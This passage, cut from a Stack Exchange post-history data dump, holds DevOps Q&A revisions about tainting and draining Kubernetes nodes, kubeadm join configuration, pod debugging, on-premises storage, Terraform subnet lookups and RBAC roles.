kubectl get nodes&#xD;&#xA;    NAME                STATUS                     ROLES    AGE   VERSION&#xD;&#xA;    k8s-master-calico   Ready                      master   2d    v1.17.2&#xD;&#xA;    k8s-node01-calico   Ready                      &lt;none&gt;   2d    v1.17.2&#xD;&#xA;    k8s-node02-calico   Ready,SchedulingDisabled   &lt;none&gt;   2d    v1.17.2&#xD;&#xA;&#xD;&#xA;**Taint the new node**&#xD;&#xA;&#xD;&#xA;    $ kubectl taint node k8s-node02-calico newnode=nobodyallowed:NoSchedule&#xD;&#xA;    node/k8s-node02-calico tainted&#xD;&#xA;&#xD;&#xA;**Now we are good to uncordon the node, no more pods should be able to use this noe unless they add toleration to the new taint**.&#xD;&#xA;&#xD;&#xA;    $ kubectl uncordon k8s-node02-calico&#xD;&#xA;    node/k8s-node02-calico uncordoned&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME                STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master-calico   Ready    master   2d    v1.17.2&#xD;&#xA;    k8s-node01-calico   Ready    &lt;none&gt;   2d    v1.17.2&#xD;&#xA;    k8s-node02-calico   Ready    &lt;none&gt;   2d    v1.17.2&#xD;&#xA;&#xD;&#xA;**We test by scaling the deployment and nothign should be added on node02**&#xD;&#xA;&#xD;&#xA;    $ kubectl scale deployment --replicas=3 nginx&#xD;&#xA;    deployment.apps/nginx scaled&#xD;&#xA;    &#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                         READY   STATUS    RESTARTS   AGE     IP               NODE                NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-86c57db685-vm8ql   1/1     Running   0          3m30s   192.168.182.75   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-xnh6q   1/1     Running   0          10m     192.168.182.78   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-zh2sj   1/1     Running   0          8m19s   192.168.182.76   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   2d    &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                    READY   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    deployment.apps/nginx   3/3     3            3           10m   nginx        nginx    app=nginx&#xD;&#xA;    &#xD;&#xA;    NAME                               DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    replicaset.apps/nginx-86c57db685   3         3         3       10m   nginx        nginx    app=nginx,pod-template-hash=86c57db685&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32886" PostHistoryTypeId="2" PostId="10710" RevisionGUID="a3ed51f0-1be8-49ac-8255-3eaf0d6417b9" CreationDate="2020-02-05T01:20:44.967" UserId="16059" Text="To debug this, check the container logs and the container events.&#xD;&#xA;&#xD;&#xA; - kubectl get pods&#xD;&#xA; - Find your pod name.&#xD;&#xA; - kubectl logs &lt;pod name&gt;&#xD;&#xA; - If logs don't make it obvious...&#xD;&#xA; - kubectl get events&#xD;&#xA;&#xD;&#xA;If you deployed into a namespace, make sure to add -n &lt;namespace&gt; to all commands.&#xD;&#xA;&#xD;&#xA;This should reveal basically everything. If you're stuck, you can also browse around the k8s dashboard if you haven't yet.  But that probably wouldn't reveal much more than the CLI is with these commands.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32887" PostHistoryTypeId="2" PostId="10711" RevisionGUID="26c0dcfe-f8a0-4f23-8c83-01a16db4db7b" CreationDate="2020-02-05T03:12:56.220" UserId="19501" Text="A storage solution for kubernetes is a pain for those of us who chose to run kubernetes on premises.&#xD;&#xA;&#xD;&#xA;What storage solution one picks would certainly depend on potential usage, a solution that will perform well for simple file operations would not pan out very well if you want to run a database in kubernetes.&#xD;&#xA;&#xD;&#xA;Given your configuration, I think &quot;vSphere Cloud Provider&quot; is your best option&#xD;&#xA;&#xD;&#xA;&gt; VMware offers a Cloud Provider known as the vSphere Cloud Provider (VCP) for Kubernetes which allows Pods to use enterprise grade persistent storage.&#xD;&#xA;&#xD;&#xA;[architecture overview of vSphere Cloud Provider](https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/overview.html)&#xD;&#xA;&#xD;&#xA;If you don't want to run databases you can use NFS using HDFS setup you have or any other NFS server.&#xD;&#xA;&#xD;&#xA;**Disclaimer:** I have not used vSphere Cloud Provider or ceph myself. Personally, I have used NFS from our storage server for production and it works fine for moderate database loads. We also have a large gluster implementation supporting close to thousand volumes, however, based on issues we have seen with gluster I will not suggest that to anyone.&#xD;&#xA;&#xD;&#xA;On a side note, you don't &quot;have&quot; to use all of your cluster nodes as &quot;storage nodes&quot; for Ceph &amp; Rook. Only storage nodes will have restrictions on them. If you are going with Ceph &amp; Rook, I will suggest to use dedicated storage nodes otherwise it may impact performance of your workloads.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32888" PostHistoryTypeId="2" PostId="10712" RevisionGUID="c916dda7-bdea-4740-ab05-e5e3af7b2167" CreationDate="2020-02-05T04:22:51.867" UserId="10354" Text="I have a list of subnets IDs and I want to get an array of the cidr_blocks associated to each subnet.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;aws_subnet_ids&quot; {&#xD;&#xA;  type = list(string)&#xD;&#xA;  default = [&quot;subnet-aaaaaaaa&quot;,&quot;subnet-bbbbbbbb&quot;]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;desired_output = ['10.0.1.0/24', '10.0.2.0/24']&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've been fiddling around with for loops and count data for a quite a while for what should be a really simple problem. But I'm having a hard time finding an appropriate way to actually do this.&#xD;&#xA;&#xD;&#xA;This seemed like a decent example to work off of, but you can't actually use a for_each in a data source off a list of strings. https://www.terraform.io/docs/providers/aws/d/subnet_ids.html&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;data &quot;aws_subnet&quot; &quot;example&quot; {&#xD;&#xA;  for_each = var.aws_subnet_ids&#xD;&#xA;  cidr_blocks       = each.cidr_block&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;subnet_cidr_blocks&quot; {&#xD;&#xA;  value = [for s in data.aws_subnet.example : s.cidr_block]&#xD;&#xA;}&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32889" PostHistoryTypeId="1" PostId="10712" RevisionGUID="c916dda7-bdea-4740-ab05-e5e3af7b2167" CreationDate="2020-02-05T04:22:51.867" UserId="10354" Text="Terraform 0.12 - For each subnet-id in array, get cidr_block" ContentLicense="CC BY-SA 4.0" />
  <row Id="32890" PostHistoryTypeId="3" PostId="10712" RevisionGUID="c916dda7-bdea-4740-ab05-e5e3af7b2167" CreationDate="2020-02-05T04:22:51.867" UserId="10354" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32891" PostHistoryTypeId="5" PostId="10705" RevisionGUID="96fbb9f7-42f0-46c6-a1c6-e1f256ed9797" CreationDate="2020-02-05T04:30:36.460" UserId="46" Comment="added 6 characters in body" Text="You can use this following command to run your performance test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    jmeter -n -t GenericPerformanceScript.jmx &gt; output.log &amp;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32892" PostHistoryTypeId="5" PostId="10708" RevisionGUID="664a17f9-099f-4150-91e4-b4078e76d46a" CreationDate="2020-02-05T06:31:18.487" UserId="19264" Comment="added 1 character in body" Text="Possibly you are looking for this  [feature](https://github.com/kubernetes/kubeadm/issues/1392) which is closed with no action since there are ways to work around this problem.&#xD;&#xA;&#xD;&#xA;&gt; kubeadm already allows to set taints for the joining node using the configuration file at join time.&#xD;&#xA;&#xD;&#xA;Other way to achieve this is by running join as usual but taking few extra steps as below after join&#xD;&#xA;&#xD;&#xA;&gt; After successful join , Force Drain the new node to make sure it removes unwanted pod which might have scaled to it post join operation `kubectl drain &lt;node name&gt; --force` &#xD;&#xA;&#xD;&#xA;&gt; Drain command will auto cordon off the node.&#xD;&#xA;&#xD;&#xA;&gt; Now Taint the new node as needed and uncordon it&#xD;&#xA;&#xD;&#xA;&gt; Add nodeselector plus tolerance to only pods you want to be scheduled on this new node.&#xD;&#xA;&#xD;&#xA;Logs of above steps for reference.&#xD;&#xA;&#xD;&#xA;On below example i have joined a new node-02 and assume that some pod were scaled in an existing deployment so new node got used immediatly on join, so before adding we need drain action and then taint the node so going forward no scheduling can be done unless pod has tollernace to the taint added&#xD;&#xA;&#xD;&#xA;**Nodes Before Drain or Taint**&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                         READY   STATUS    RESTARTS   AGE   IP               NODE                NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-86c57db685-8cdkx   1/1     Running   0          27s   192.168.58.120   k8s-node02-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-xnh6q   1/1     Running   0          65s   192.168.182.78   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   2d    &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                    READY   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    deployment.apps/nginx   2/2     2            2           65s   nginx        nginx    app=nginx&#xD;&#xA;    &#xD;&#xA;    NAME                               DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    replicaset.apps/nginx-86c57db685   2         2         2       65s   nginx        nginx    app=nginx,pod-template-hash=86c57db685&#xD;&#xA;&#xD;&#xA;**Drain The node**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl drain k8s-node02-calico&#xD;&#xA;    node/k8s-node02-calico cordoned&#xD;&#xA;    evicting pod &quot;nginx-86c57db685-8cdkx&quot;&#xD;&#xA;    pod/nginx-86c57db685-8cdkx evicted&#xD;&#xA;    node/k8s-node02-calico evicted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME                STATUS                     ROLES    AGE   VERSION&#xD;&#xA;    k8s-master-calico   Ready                      master   2d    v1.17.2&#xD;&#xA;    k8s-node01-calico   Ready                      &lt;none&gt;   2d    v1.17.2&#xD;&#xA;    k8s-node02-calico   Ready,SchedulingDisabled   &lt;none&gt;   2d    v1.17.2&#xD;&#xA;&#xD;&#xA;**Taint the new node**&#xD;&#xA;&#xD;&#xA;    $ kubectl taint node k8s-node02-calico newnode=nobodyallowed:NoSchedule&#xD;&#xA;    node/k8s-node02-calico tainted&#xD;&#xA;&#xD;&#xA;**Now we are good to uncordon the node, no more pods should be able to use this noe unless they add toleration to the new taint**.&#xD;&#xA;&#xD;&#xA;    $ kubectl uncordon k8s-node02-calico&#xD;&#xA;    node/k8s-node02-calico uncordoned&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME                STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master-calico   Ready    master   2d    v1.17.2&#xD;&#xA;    k8s-node01-calico   Ready    &lt;none&gt;   2d    v1.17.2&#xD;&#xA;    k8s-node02-calico   Ready    &lt;none&gt;   2d    v1.17.2&#xD;&#xA;&#xD;&#xA;**We test by scaling the deployment and nothign should be added on node02**&#xD;&#xA;&#xD;&#xA;    $ kubectl scale deployment --replicas=3 nginx&#xD;&#xA;    deployment.apps/nginx scaled&#xD;&#xA;    &#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                         READY   STATUS    RESTARTS   AGE     IP               NODE                NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-86c57db685-vm8ql   1/1     Running   0          3m30s   192.168.182.75   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-xnh6q   1/1     Running   0          10m     192.168.182.78   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-zh2sj   1/1     Running   0          8m19s   192.168.182.76   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   2d    &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                    READY   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    deployment.apps/nginx   3/3     3            3           10m   nginx        nginx    app=nginx&#xD;&#xA;    &#xD;&#xA;    NAME                               DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    replicaset.apps/nginx-86c57db685   3         3         3       10m   nginx        nginx    app=nginx,pod-template-hash=86c57db685&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32894" PostHistoryTypeId="2" PostId="10713" RevisionGUID="144a81f4-c8b8-4b4a-913e-45aafbc07d95" CreationDate="2020-02-05T08:36:06.070" UserId="19466" Text="Thanks to arghya-sadhu's comments on stackoverflow, I've got it working:&#xD;&#xA;```&#xD;&#xA;apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;kind: ClusterRole&#xD;&#xA;metadata:&#xD;&#xA;  name: get-pod-and-node&#xD;&#xA;  labels:&#xD;&#xA;    rbac.authorization.k8s.io/aggregate-to-view: &quot;true&quot;&#xD;&#xA;rules:&#xD;&#xA;- apiGroups: [&quot;metrics.k8s.io&quot;]&#xD;&#xA;  resources: [&quot;pods&quot;, &quot;nodes&quot;]&#xD;&#xA;  verbs: [&quot;get&quot;, &quot;watch&quot;, &quot;list&quot;]&#xD;&#xA;```&#xD;&#xA;(I'm aggregating to the standard 'view' role)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32901" PostHistoryTypeId="2" PostId="10716" RevisionGUID="61a8c565-3df9-4f2a-b712-0ad767877fd8" CreationDate="2020-02-05T09:18:39.803" UserId="19503" Text="We can use single Jenkinsfile for different environment. But we need something to differentiate between this environment, may be an environment variable or a parameter in a parameterised job to control what we need to do in each environment. May be we want to do build, test, perform e2e and push image into a repository in one environment. Then use the same image and deploy in the next ( staging, may be) and perform smoke test. Then use the same image to deploy into production." ContentLicense="CC BY-SA 4.0" />
  <row Id="32902" PostHistoryTypeId="2" PostId="10717" RevisionGUID="e39895af-4606-4d02-97da-7d9365b92782" CreationDate="2020-02-05T09:37:27.330" UserId="19264" Text="&gt; **kubeadm already allows to set taints for the joining node using the configuration file at join time**.&#xD;&#xA;&#xD;&#xA;**Steps on how to do this at node join time are as below**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Construct a **Config.yaml file with taint details and bootstrap details** as recived from master at kubeadm init time.&#xD;&#xA;&#xD;&#xA;# Example config.yaml&#xD;&#xA;&#xD;&#xA;    apiVersion: kubeadm.k8s.io/v1beta1&#xD;&#xA;    kind: JoinConfiguration&#xD;&#xA;    discovery:&#xD;&#xA;      bootstrapToken:&#xD;&#xA;        apiServerEndpoint: &quot;&lt;control_plain_ip&gt;:6443&quot;&#xD;&#xA;        token: &quot;your_token&quot;&#xD;&#xA;        caCertHashes:&#xD;&#xA;        - sha256:$CERT_HASH&#xD;&#xA;    nodeRegistration:&#xD;&#xA;      taints:&#xD;&#xA;      - effect: NoSchedule&#xD;&#xA;        key: specialnode1.kubernetes.io/SpecialNode1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Now pass this config from node you want to join** it will join with a taint set at startup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@k8s-node01:# kubeadm join --config=config.yaml&#xD;&#xA;    &#xD;&#xA;    [kubelet-start] Starting the kubelet&#xD;&#xA;    [kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...&#xD;&#xA;    &#xD;&#xA;    This node has joined the cluster:&#xD;&#xA;    * Certificate signing request was sent to apiserver and a response was received.&#xD;&#xA;    * The Kubelet was informed of the new secure connection details.&#xD;&#xA;    &#xD;&#xA;    Run 'kubectl get nodes' on the control-plane to see this node join the cluster.&#xD;&#xA;&#xD;&#xA;**Node should join the cluster and will have a taint at startup time so pods not having  tolerance will not be scheduled on this new node**.&#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE     VERSION&#xD;&#xA;    k8s-master   Ready    master   18m     v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   8m11s   v1.17.2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Verify the taint as below**&#xD;&#xA;&#xD;&#xA;    $ kubectl describe node k8s-node01 | grep -i Taint&#xD;&#xA;    &#xD;&#xA;    Taints:             specialnode1.kubernetes.io/SpecialNode1:NoSchedule&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**To further test this we will create a daemon set which will run on node01 and add another node02 with new taint , daemon set should not autoscale to new node with new taint**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master   Ready    master   24m   v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   14m   v1.17.2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get all -o wide&#xD;&#xA;    NAME              READY   STATUS    RESTARTS   AGE   IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-npmz5   1/1     Running   0          50s   192.168.85.193   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   24m   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                   DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    daemonset.apps/nginx   1         1         1       1            1           &lt;none&gt;          50s   nginx        nginx    app=nginx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Add new Node with config.yaml and verify the node is ready and taint is set**&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master   Ready    master   25m   v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   15m   v1.17.2&#xD;&#xA;    k8s-node02   Ready    &lt;none&gt;   22s   v1.17.2&#xD;&#xA;    &#xD;&#xA;    $ kubectl describe node k8s-node02 | grep -i Taint&#xD;&#xA;    Taints:             specialnode2.kubernetes.io/SpecialNode2:NoSchedule&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Now check if daemon set has scaled to new node or not, it will not unless we remove the taint or add tolerance to daemonset**&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME              READY   STATUS    RESTARTS   AGE     IP               NODE         NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-npmz5   1/1     Running   0          3m46s   192.168.85.193   k8s-node01   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   27m   &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                   DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE     CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    daemonset.apps/nginx   1         1         1       1            1           &lt;none&gt;          3m46s   nginx        nginx    app=nginx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **So we can use above steps to add  a new node to a running cluster and choose what is scheduled on it using taints**.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32903" PostHistoryTypeId="5" PostId="10708" RevisionGUID="057de6b7-82da-4914-be2e-a7fa13f008e4" CreationDate="2020-02-05T11:39:20.160" UserId="19264" Comment="improve readability and highlight important points" Text="Possibly you are looking for this  [feature](https://github.com/kubernetes/kubeadm/issues/1392) which is closed with no action since there are ways to work around this problem.&#xD;&#xA;&#xD;&#xA;&gt; kubeadm already allows to set taints for the joining node using the configuration file at join time (***check my other [answer](https://devops.stackexchange.com/a/10717/19264) for details on how to do that***)&#xD;&#xA;&#xD;&#xA;One Other way to achieve this is by running join as usual but taking few extra steps as below after join&#xD;&#xA;&#xD;&#xA;&gt; 1) After successful join , **Force Drain the new node** to make sure it removes unwanted pod which might have scaled to it post join operation `kubectl drain &lt;node name&gt; --force` &#xD;&#xA;&#xD;&#xA;&gt; 2) **Drain command will auto cordon** off the node. (Note : also **consider special handling to remove any daemonset** which might have scaled to this node after join)&#xD;&#xA;&#xD;&#xA;&gt; 3) Now **Taint the new node** as needed **and then uncordon** it&#xD;&#xA;&#xD;&#xA;&gt; 4) **Add nodeselector plus tolerance to pods** you want to be scheduled on this new node.&#xD;&#xA;&#xD;&#xA;Logs of above steps for reference are listed below.&#xD;&#xA;&#xD;&#xA;On below example i have joined a new node-02 and assume that some pod were scaled in an existing deployment so new node got used immediately on join, so before adding we need drain action and then taint the node so going forward no scheduling can be done unless pod has tolerance to the taint added&#xD;&#xA;&#xD;&#xA;**Nodes Before Drain or Taint**&#xD;&#xA;&#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                         READY   STATUS    RESTARTS   AGE   IP               NODE                NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-86c57db685-8cdkx   1/1     Running   0          27s   192.168.58.120   k8s-node02-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-xnh6q   1/1     Running   0          65s   192.168.182.78   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   2d    &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                    READY   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    deployment.apps/nginx   2/2     2            2           65s   nginx        nginx    app=nginx&#xD;&#xA;    &#xD;&#xA;    NAME                               DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    replicaset.apps/nginx-86c57db685   2         2         2       65s   nginx        nginx    app=nginx,pod-template-hash=86c57db685&#xD;&#xA;&#xD;&#xA;**Drain The node**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl drain k8s-node02-calico&#xD;&#xA;    node/k8s-node02-calico cordoned&#xD;&#xA;    evicting pod &quot;nginx-86c57db685-8cdkx&quot;&#xD;&#xA;    pod/nginx-86c57db685-8cdkx evicted&#xD;&#xA;    node/k8s-node02-calico evicted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME                STATUS                     ROLES    AGE   VERSION&#xD;&#xA;    k8s-master-calico   Ready                      master   2d    v1.17.2&#xD;&#xA;    k8s-node01-calico   Ready                      &lt;none&gt;   2d    v1.17.2&#xD;&#xA;    k8s-node02-calico   Ready,SchedulingDisabled   &lt;none&gt;   2d    v1.17.2&#xD;&#xA;&#xD;&#xA;**Taint the new node**&#xD;&#xA;&#xD;&#xA;    $ kubectl taint node k8s-node02-calico newnode=nobodyallowed:NoSchedule&#xD;&#xA;    node/k8s-node02-calico tainted&#xD;&#xA;&#xD;&#xA;**Now we are good to uncordon the node, no more pods should be able to use this noe unless they add toleration to the new taint**.&#xD;&#xA;&#xD;&#xA;    $ kubectl uncordon k8s-node02-calico&#xD;&#xA;    node/k8s-node02-calico uncordoned&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ kubectl get nodes&#xD;&#xA;    NAME                STATUS   ROLES    AGE   VERSION&#xD;&#xA;    k8s-master-calico   Ready    master   2d    v1.17.2&#xD;&#xA;    k8s-node01-calico   Ready    &lt;none&gt;   2d    v1.17.2&#xD;&#xA;    k8s-node02-calico   Ready    &lt;none&gt;   2d    v1.17.2&#xD;&#xA;&#xD;&#xA;**We test by scaling the deployment and nothign should be added on node02**&#xD;&#xA;&#xD;&#xA;    $ kubectl scale deployment --replicas=3 nginx&#xD;&#xA;    deployment.apps/nginx scaled&#xD;&#xA;    &#xD;&#xA;    $ kubectl get all -o wide&#xD;&#xA;    NAME                         READY   STATUS    RESTARTS   AGE     IP               NODE                NOMINATED NODE   READINESS GATES&#xD;&#xA;    pod/nginx-86c57db685-vm8ql   1/1     Running   0          3m30s   192.168.182.75   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-xnh6q   1/1     Running   0          10m     192.168.182.78   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    pod/nginx-86c57db685-zh2sj   1/1     Running   0          8m19s   192.168.182.76   k8s-node01-calico   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE   SELECTOR&#xD;&#xA;    service/kubernetes   ClusterIP   10.96.0.1    &lt;none&gt;        443/TCP   2d    &lt;none&gt;&#xD;&#xA;    &#xD;&#xA;    NAME                    READY   UP-TO-DATE   AVAILABLE   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    deployment.apps/nginx   3/3     3            3           10m   nginx        nginx    app=nginx&#xD;&#xA;    &#xD;&#xA;    NAME                               DESIRED   CURRENT   READY   AGE   CONTAINERS   IMAGES   SELECTOR&#xD;&#xA;    replicaset.apps/nginx-86c57db685   3         3         3       10m   nginx        nginx    app=nginx,pod-template-hash=86c57db685&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32904" PostHistoryTypeId="5" PostId="10717" RevisionGUID="79087675-4171-47f3-b629-c8227f4641c1" CreationDate="2020-02-05T11:43:51.547" UserId="19264" Comment="added 535 characters in body" Text="&gt; **kubeadm already allows to set taints for the joining node using the configuration file at join time**.&#xD;&#xA;&#xD;&#xA;**Steps on how to do this at node join time are as below**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Construct a **Config.yaml file with taint details and bootstrap details** as recived from master at kubeadm init time.&#xD;&#xA;&#xD;&#xA;**Example config.yaml** you should update values as per your cluster info on below&#xD;&#xA;&#xD;&#xA;    apiVersion: kubeadm.k8s.io/v1beta1&#xD;&#xA;    kind: JoinConfiguration&#xD;&#xA;    discovery:&#xD;&#xA;      bootstrapToken:&#xD;&#xA;        apiServerEndpoint: &quot;&lt;control_plain_ip&gt;:6443&quot;&#xD;&#xA;        token: &quot;your_token&quot;&#xD;&#xA;        caCertHashes:&#xD;&#xA;        - sha256:$CERT_HASH&#xD;&#xA;    nodeRegistration:&#xD;&#xA;      taints:&#xD;&#xA;      - effect: NoSchedule&#xD;&#xA;        key: specialnode1.kubernetes.io/SpecialNode1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Pass this config from node you want to join** it will join with a taint set at startup.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root@k8s-node01:# kubeadm join --config=config.yaml&#xD;&#xA;    &#xD;&#xA;    [kubelet-start] Starting the kubelet&#xD;&#xA;    [kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...&#xD;&#xA;    &#xD;&#xA;    This node has joined the cluster:&#xD;&#xA;    * Certificate signing request was sent to apiserver and a response was received.&#xD;&#xA;    * The Kubelet was informed of the new secure connection details.&#xD;&#xA;    &#xD;&#xA;    Run 'kubectl get nodes' on the control-plane to see this node join the cluster.&#xD;&#xA;&#xD;&#xA;**Node should join the cluster and will have a taint at startup time so pods not having  tolerance will not be scheduled on this new node**.&#xD;&#xA;&#xD;&#xA;    ubuntu@k8s-master:~$ kubectl get nodes&#xD;&#xA;    NAME         STATUS   ROLES    AGE     VERSION&#xD;&#xA;    k8s-master   Ready    master   18m     v1.17.2&#xD;&#xA;    k8s-node01   Ready    &lt;none&gt;   8m11s   v1.17.2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Verify the taint as below**&#xD;&#xA;&#xD;&#xA;    $ kubectl describe node k8s-node01 | grep -i Taint&#xD;&#xA;    &#xD;&#xA;    Taints:             specialnode1.kubernetes.io/SpecialNode1:NoSchedule&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**To further test this we will create a daemon set which will run on node01 and add 